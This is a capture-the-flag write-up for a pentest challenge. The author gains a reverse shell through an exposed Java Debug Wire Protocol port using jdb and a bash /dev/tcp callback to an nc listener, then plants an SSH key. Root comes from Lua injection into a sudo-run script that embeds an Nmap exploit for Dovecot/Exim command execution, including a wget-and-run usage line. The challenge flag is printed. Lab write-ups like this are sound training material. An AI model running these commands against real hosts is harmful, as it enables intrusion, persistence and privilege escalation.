Leet Computer
Category: Airport hall/pentest
20 points
One of the attacker is still in the airport hall, and it seems that he is still connected to the airport wifi ! Get a root shell on its machine to continue your investigation.
This challenge will give you access to another network.
by Masterfox
Solution
I’ve started this challenge with nmap scan of machine, from which ping came during Discovery challenge.
nmap -sV -p 1-65535 10.45.4.39
Starting Nmap 7.80 ( https://nmap.org ) at 2021-05-23 01:44 CEST
Nmap scan report for 10.45.4.39
Host is up (0.042s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5 (protocol 2.0)
18001/tcp open jdwp Java Debug Wire Protocol (Reference Implementation) version 11.0 11.0.11
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.19 seconds
Jdwp
stands for Java Debug Wire Protocol. I had no idea what it is, but I found couple of very helpful articles, which
clarified the topic and gave me the basics for exploitation.
Links to resources:
- https://ioactive.com/hacking-java-debug-wire-protocol-or-how/
- https://book.hacktricks.xyz/pentesting/pentesting-jdwp-java-debug-wire-protocol (it’s the copy of the above + some additional tweaks)
- https://dl.packetstormsecurity.net/1307-exploits/JDWP-exploitation.txt (actually the best one)
- https://blog.silentsignal.eu/2014/02/09/jdb-tricks-hacking-java-debug-wire/
After some attempts to jdwp-shellifier.py
I finally ended up with pure jdb
. I’ve exploited the vulnerability in
following steps:
jdb -attach 10.45.4.39:18001
to connect tojdwp
- In
jdb
:trace go methods
to pick the method on which breakpoint will be set. I’ve chosenorg.apache.logging.log4j.util.PropertiesUtil$Environment.get
. - In
jdb
:stop in org.apache.logging.log4j.util.PropertiesUtil$Environment.get
to setup breakpoint. sudo nc -lvp 80 -s 172.16.105.10
to listen for reverse shell connection on my IP address.- In
jdb
after breakpoint hit:print new java.io.PrintWriter(new java.io.PrintWriter("/tmp/script.sh"),true).println("bash -i >& /dev/tcp/172.16.105.10/80 0>&1")
to create shell script which will give me reverse shell. - And finally in
jdb
:print new java.lang.Runtime().exec("/bin/bash /tmp/script.sh")
to get reverse shell.
Rightaway after access I’ve put my public key to /home/e11i0t/.ssh/authorized_keys
and connected to the server via
ssh.
Next task was to escalate the privileges to root. I’ve found suspicious sudoers entry.
┌──(e11i0t㉿team-753-inner-savages-kali)-[~]
└─$ sudo -l
Matching Defaults entries for e11i0t on team-753-inner-savages-kali:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User e11i0t may run the following commands on team-753-inner-savages-kali:
(root) NOPASSWD: /home/e11i0t/scripts/mail-scan.py
Here’s the content of the mail-scan.py
script:
#!/usr/bin/env python3
#coding: utf-8
import argparse
from tempfile import NamedTemporaryFile
from os import system
import re
TEMPLATE_NSE = """
description = [[
Attempts to exploit a remote command execution vulnerability in misconfigured Dovecot/Exim mail servers.
It is important to note that the mail server will not return the output of the command. The mail server
also wont allow space characters but they can be replaced with "${{IFS}}". Commands can also be
concatenated with "``". The script takes care of the conversion automatically.
References:
* https://www.redteam-pentesting.de/en/advisories/rt-sa-2013-001/-exim-with-dovecot-typical-misconfiguration-leads-to-remote-command-execution
* http://immunityproducts.blogspot.mx/2013/05/how-common-is-common-exim-and-dovecot.html
* CVE not available yet
]]
---
-- @usage nmap -sV --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="uname -a" <target>
-- @usage nmap -p586 --script smtp-dovecot-exim-exec --script-args smtp-dovecot-exim-exec.cmd="wget -O /tmp/p example.com/test.sh;bash /tmp/p" <target>
--
-- @output
-- PORT STATE SERVICE REASON
-- 465/tcp open smtps syn-ack
-- |_smtp-dovecot-exim-exec: Malicious payload delivered:250 OK id=XXX
--
-- @args smtp-dovecot-exim-exec.cmd Command to execute. Separate commands with ";".
-- @args smtp-dovecot-exim-exec.auth Authentication scheme (Optional).
-- @args smtp-dovecot-exim-exec.user Authentication username (Optional).
-- @args smtp-dovecot-exim-exec.pwd Authentication password (Optional).
-- @args smtp-dovecot-exim-exec.from Email address to use in the FROM field. Default: nmap+domain. (Optional).
-- @args smtp-dovecot-exim-exec.to Email address to use in the TO field. Default: [email protected]
-- @args smtp-dovecot-exim-exec.timeout Timeout value. Default: 8000. (Optional)
-- @args smtp-dovecot-exim-exec.domain Domain name to use. It attempts to set this field automatically. (Optional)
---
author = "Paulino Calderon <[email protected]>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {{"exploit"}}
local smtp = require "smtp"
local shortport = require "shortport"
local stdnse = require "stdnse"
portrule = shortport.port_or_service({{25, 465, 587}},
{{"smtp", "smtps", "submission"}})
action = function(host, port)
local cmd = stdnse.get_script_args(SCRIPT_NAME..".cmd") or "uname"
--Prepare payload
cmd = string.gsub(cmd, " ", "${{IFS}}")
cmd = string.gsub(cmd, ";", "``")
local user = stdnse.get_script_args(SCRIPT_NAME..".user") or nil
local pwd = stdnse.get_script_args(SCRIPT_NAME..".pwd") or nil
local from = stdnse.get_script_args(SCRIPT_NAME..".from") or "nmap@"..smtp.get_domain(host)
local to = "{mail_address}"
local conn_timeout = stdnse.get_script_args(SCRIPT_NAME..".timeout") or 8000
local smtp_domain = stdnse.get_script_args(SCRIPT_NAME..".domain") or smtp.get_domain(host)
local smtp_opts = {{
ssl = true, timeout = conn_timeout, recv_before = true, lines = 1
}}
local smtp_conn = smtp.connect(host, port, smtp_opts)
local status, resp = smtp.ehlo(smtp_conn, smtp_domain)
local auth_mech = stdnse.get_script_args(SCRIPT_NAME..".auth") or smtp.get_auth_mech(resp)
if type(auth_mech) == "string" then
auth_mech = {{ auth_mech }}
end
if (user and pwd) then
status = false
stdnse.print_debug(1, "%s:Mail server requires authentication.", SCRIPT_NAME)
for i, mech in ipairs(auth_mech) do
stdnse.print_debug(1, "Trying to authenticate using the method:%s", mech)
status, resp = smtp.login(smtp_conn, user, pwd, mech)
if status then
break
end
end
if not(status) then
stdnse.print_debug(1, "%s:Authentication failed using user '%s' and password '%s'", SCRIPT_NAME, user, pwd)
return nil
end
end
--Sends MAIL cmd and injects malicious payload
local from_frags = stdnse.strsplit("@", from)
local malicious_from_field = from_frags[1].."`"..cmd.."`@"..from_frags[2]
stdnse.print_debug(1, "%s:Setting malicious MAIL FROM field to:%s", SCRIPT_NAME, malicious_from_field)
status, resp = smtp.mail(smtp_conn, malicious_from_field)
if not(status) then
stdnse.print_debug(1, "%s:Payload failed:%s", SCRIPT_NAME, resp)
return nil
end
--Sets recipient
status, resp = smtp.recipient(smtp_conn, to)
if not(status) then
stdnse.print_debug(1, "%s:Cannot set recipient:%s", SCRIPT_NAME, resp)
return nil
end
--Sets data and deliver email
status, resp = smtp.datasend(smtp_conn, "nse")
if status then
return string.format("Malicious payload delivered:%s", resp)
else
stdnse.print_debug(1, "%s:Payload could not be delivered:%s", SCRIPT_NAME, resp)
end
return nil
end
"""
parser = argparse.ArgumentParser()
parser.add_argument('--ip', required=True, help='IP of the Dovecot to attacc')
parser.add_argument('--mail', required=True, help='Mail address to check')
args = parser.parse_args()
# Arguments validation
ipregex = re.compile('^([0-9]{3}\.){3}[0-9]{3}$')
if not ipregex.match(args.ip):
print("Error: IP argument is invalid")
exit(1)
f = NamedTemporaryFile(suffix=".nse")
with open(f.name, "w") as tmp_file:
tmp_file.write(TEMPLATE_NSE.format(mail_address=args.mail))
system("nmap --script={} '{}'".format(tmp_file.name, args.ip))
It took me ages, but finally I’ve found the way to get root. Used idea was to inject part of my own lua
script, which
execute the bash
with escalated privileges. Script can be executed only if nmap
find vulnerable port, that’s why
I had to trick it a bit with nc
. Here are the steps:
- I’ve launched on my machine
sudo nc -lvp 465
. -
Created payload as below:
IFS='' MAIL=`echo -e 'dummy"\nos.execute("bash")\nlocal dummy = "dummy'`
-
Executed the script and get root :-)
┌──(e11i0t㉿team-753-inner-savages-kali)-[~/scripts] └─$ sudo /home/e11i0t/scripts/mail-scan.py --ip 172.016.105.010 --mail "${MAIL}" Starting Nmap 7.91 ( https://nmap.org ) at 2021-05-22 23:56 UTC Stats: 0:00:05 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan SYN Stealth Scan Timing: About 32.55% done; ETC: 23:56 (0:00:10 remaining) ┌──(root💀team-753-inner-savages-kali)-[/home/e11i0t/scripts] └─#
The flag was placed in the /root/flag
.
┌──(root💀team-753-inner-savages-kali)-[~]
└─# cat flag
NORZH{e11i0t_1s_s0_1337!!}
Flag
NORZH{e11i0t_1s_s0_1337!!}